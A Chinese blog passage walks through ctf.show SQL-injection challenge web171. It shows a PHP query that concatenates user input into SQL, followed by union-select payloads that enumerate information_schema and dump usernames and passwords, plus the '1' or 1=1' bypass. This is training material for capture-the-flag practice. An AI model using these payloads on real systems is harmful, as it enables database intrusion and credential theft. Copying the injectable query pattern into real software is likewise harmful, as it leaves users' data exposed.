ctf.show(超详解)——sql注入web171-web182

web171

sql语句
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

方法一:联合注入(union select)

判断闭合方式,本题为单引号闭合

查询表名:

1' UNION SELECT 1,table_name,3 from information_schema.tables where table_schema='ctfshow_web'--+

查询列名(字段名):

1'union select 1,column_name,3 from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+

查询字段值:

1' UNION SELECT 1,password,username from ctfshow_user --+

方法二:万能sql语句(1' or 1=1)

在进行判断时,永远为true:1' or 1=1

web172(联合注入)

进入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值